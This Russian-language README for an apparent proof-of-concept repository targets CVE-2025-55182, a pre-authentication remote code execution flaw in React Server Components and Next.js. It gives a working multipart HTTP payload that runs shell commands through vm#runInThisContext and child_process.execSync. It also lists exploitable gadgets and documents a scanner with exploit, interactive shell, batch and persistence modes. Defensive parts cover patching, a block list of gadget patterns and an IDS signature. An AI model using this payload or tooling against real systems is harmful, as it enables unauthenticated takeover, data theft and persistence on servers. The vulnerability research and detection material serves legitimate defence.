
Единый инструмент для исследования безопасности
Security Research by schema.cx
"Control is an illusion. It's the systems we build that control us—unless we understand them first."
ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ
СТОП. ПРОЧТИТЕ ЭТО ПЕРЕД ПРОДОЛЖЕНИЕМ.
Этот репозиторий содержит код доказательства концепции для критической уязвимости безопасности. Получая доступ, загружая или используя любые материалы из этого репозитория, вы подтверждаете и соглашаетесь со следующим:
Необходимо письменное разрешение: Вы ДОЛЖНЫ иметь явное письменное разрешение от владельца системы перед проведением любого тестирования безопасности. Устные соглашения недостаточны.
Ограничения области действия: Тестирование должно быть ограничено системами, явно указанными в вашем разрешении. «Расширение области» не допускается.
Применимые законы: Несанкционированный доступ к компьютерным системам нарушает:
АВТОРЫ И УЧАСТНИКИ ЭТОГО РЕПОЗИТОРИЯ:
"The question isn't whether we can exploit the vulnerability. It's whether we should, and for what purpose."
CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) без предварительной аутентификации, затрагивающая React Server Components в приложениях React 19.x и Next.js 15.x-16.x.
Эта уязвимость позволяет любому неаутентифицированному злоумышленнику с сетевым доступом к уязвимому приложению выполнять произвольные команды на сервере. Атака не требует учетных данных, взаимодействия с пользователем и может быть полностью автоматизирована. Успешная эксплуатация приводит к:
"People trust systems because they don't understand them. That trust is a vulnerability."
Уязвимость существует в реализации протокола Flight от React в функции requireModule. Эта функция использует скобочную нотацию для доступа к экспортам модуля на основе входных данных, контролируемых пользователем, без проверки того, является ли запрашиваемое свойство собственным свойством модуля.
Местоположение уязвимого кода:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Функция: requireModule (примерно строки 2546-2558 в v19.0.0)
Уязвимый шаблон:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← УЯЗВИМО: Отсутствует проверка hasOwnProperty
}
Атака использует обход цепочки прототипов JavaScript:
$ACTION_0:0 содержит JSON с контролируемыми злоумышленником свойствами id (формат модуль#экспорт) и bound (аргументы)constructor, или обращаясь к свойствам прототипа, злоумышленники могут ссылаться на встроенные модули Node.jsvm.runInThisContext, child_process.execSync или fs.readFileSync, выполняются с аргументами, предоставленными злоумышленникомHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Разбирает формат "module#export"
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Доступ к цепочке прототипов → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
"Every system has a door. The question is whether you built the lock yourself—or inherited it from someone who never expected visitors."
| Продукт | Уязвимые версии | Исправленные версии |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (использует уязвимый React) | Версии с исправленным React |
vm, child_process или fs должны быть в бандле webpackЭтот репозиторий включает в себя комплексный сканер безопасности на Python с несколькими режимами работы.
CVE-2025-55182-poc/
├── README.md # Этот файл
├── scanner/
│ ├── __init__.py # Инициализация пакета Python
│ ├── scanner.py # Главный унифицированный сканер (6 режимов)
│ ├── readme.md # Подробная документация сканера
│ ├── requirements.txt # Зависимости Python
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Глубокое погружение в уязвимость
│ └── VULNERABLE-PACKAGES.md # Версии затронутых пакетов
Установка:
cd scanner
pip install -r requirements.txt
Сканирование уязвимости:
# Проверить, уязвима ли цель
python scanner.py scan https://target.com
Обнаружение гаджетов:
# Определить доступные гаджеты RCE
python scanner.py exploit https://target.com --detect-gadgets
Выполнение команды (с авторизацией):
# Выполнить команду на уязвимой цели
python scanner.py exploit https://target.com -c "whoami"
Пакетное тестирование:
# Протестировать несколько целей из файла
python scanner.py batch -f targets.txt -o results.json
Автоматическое сканирование с проверкой:
# Комплексное сканирование с проверкой эксплуатации
python scanner.py auto -f targets.txt -o report.txt
Уязвимая цель:
[+] УЯЗВИМ к CVE-2025-55182!
Фреймворк: Next.js
Версия: 15.1.0
Уверенность: ВЫСОКАЯ
Доступные гаджеты:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
Исправленная цель:
[-] Не уязвим или невозможно определить
Обнаружен фреймворк: Next.js
Версия: 15.2.0 (исправлено)
Полную документацию см. в scanner/readme.md.
"A tool is only as dangerous as the intent behind it. In the right hands, a weapon becomes a shield."
/etc/passwd, ключи SSH, облачные учетные данныеУтечка данных: Злоумышленник читает файлы .env, содержащие учетные данные базы данных, извлекает данные клиентов
Установка криптомайнера: Злоумышленник записывает скрипт майнинга, добавляет задачу cron для сохранения
Атака на цепочку поставок: Злоумышленник модифицирует исходный код в производственной среде, обслуживая вредоносный контент для пользователей
Латеральное перемещение: Скомпрометированный сервер используется для атак на внутренние базы данных, API и сервисы
Программа-вымогатель: Злоумышленник шифрует файлы приложения, требует оплату за ключи дешифрования
Немедленно обновить React
npm update react react-dom react-server-dom-webpack
Целевые версии: 19.0.1+, 19.1.2+ или 19.2.1+
Проверить применение патча
npm ls react
Убедитесь, что в дереве зависимостей не осталось уязвимых версий
Блокировать запросы, содержащие следующие шаблоны:
# Шаблоны тела запроса для блокировки
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
Исключить опасные пакеты из бандлинга webpack:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
Шаблоны журналов для мониторинга:
$ACTION_REF_ или $ACTION_ID_ в теле запроса/api/* с данными multipart form, содержащими JSONconstructor, prototype или неожиданный доступ к модулямСигнатуры обнаружения вторжений:
alert http any any -> $HOME_NET any (
msg:"Попытка эксплуатации CVE-2025-55182";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk или аналогичных инструментов"Patching isn't just about fixing what's broken. It's about closing the doors you didn't know were open."
Это раскрытие соответствует Руководству по раскрытию уязвимостей CERT/CC и стандартам ISO/IEC 29147:2018 для координированного раскрытия уязвимостей.
Это доказательство концепции разработано командой исследователей безопасности schema.cx.
Репозиторий: https://github.com/ejpir/CVE-2025-55182-poc
Мы хотели бы поблагодарить:
Этот проект выпущен только для образовательных и авторизованных целей исследования безопасности.
Используя данное программное обеспечение, вы соглашаетесь:
"We don't hack to destroy. We hack to understand. And understanding is the first step to building something better."
schema.cx — Исследование безопасности для более безопасного цифрового мира
| Метрика | Оценка |
|---|
| Базовая оценка CVSS v3.1 | 10.0 CRITICAL |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Необходимые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Влияние (C/I/A) | Высокое / Высокое / Высокое |
| Гаджет | Модуль | Описание | Воздействие |
|---|
vm#runInThisContext | vm | Выполнить JS в текущем контексте | Прямое RCE |
vm#runInNewContext | vm | Выполнить JS в песочнице (возможен выход) | Прямое RCE |
child_process#execSync | child_process | Выполнить команды оболочки | Прямое RCE |
child_process#spawnSync | child_process | Запустить процессы | Прямое RCE |
fs#readFileSync | fs | Чтение произвольных файлов | Эксфильтрация данных |
fs#writeFileSync | fs | Запись произвольных файлов | Сохранение/Бэкдор |
module#_load | module | Загрузка JS-модулей (двухшаговое RCE) | Непрямое RCE |
| Модуль | Вероятность в бандле | Распространенные источники |
|---|
fs | Очень высокая | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | Средне-высокая | execa, shelljs, puppeteer, sharp, генераторы PDF |
vm | Низко-средняя | ejs, pug, шаблонизаторы |
module | Очень низкая | tsx, ts-node (обычно только для CLI) |
| Режим | Назначение |
|---|
scan | Обнаружение уязвимости и снятие отпечатков |
exploit | Контролируемая эксплуатация с конкретными гаджетами |
shell | Интерактивная командная оболочка на уязвимых целях |
batch | Тестирование нескольких URL со статистикой |
auto | Автоматическое сканирование множества целей с проверкой |
persist | Демонстрации атак сохранения (ключи SSH, учетные данные) |
| Дата | Событие |
|---|
| Обнаружение | Информация ожидается |
| Уведомление вендора | Информация ожидается |
| Подтверждение вендора | Информация ожидается |
| Разработка патча | Информация ожидается |
| Выпуск патча | React 19.0.1, 19.1.2, 19.2.1 |
| Публичное раскрытие | Информация ожидается |
| Назначение CVE | CVE-2025-55182 |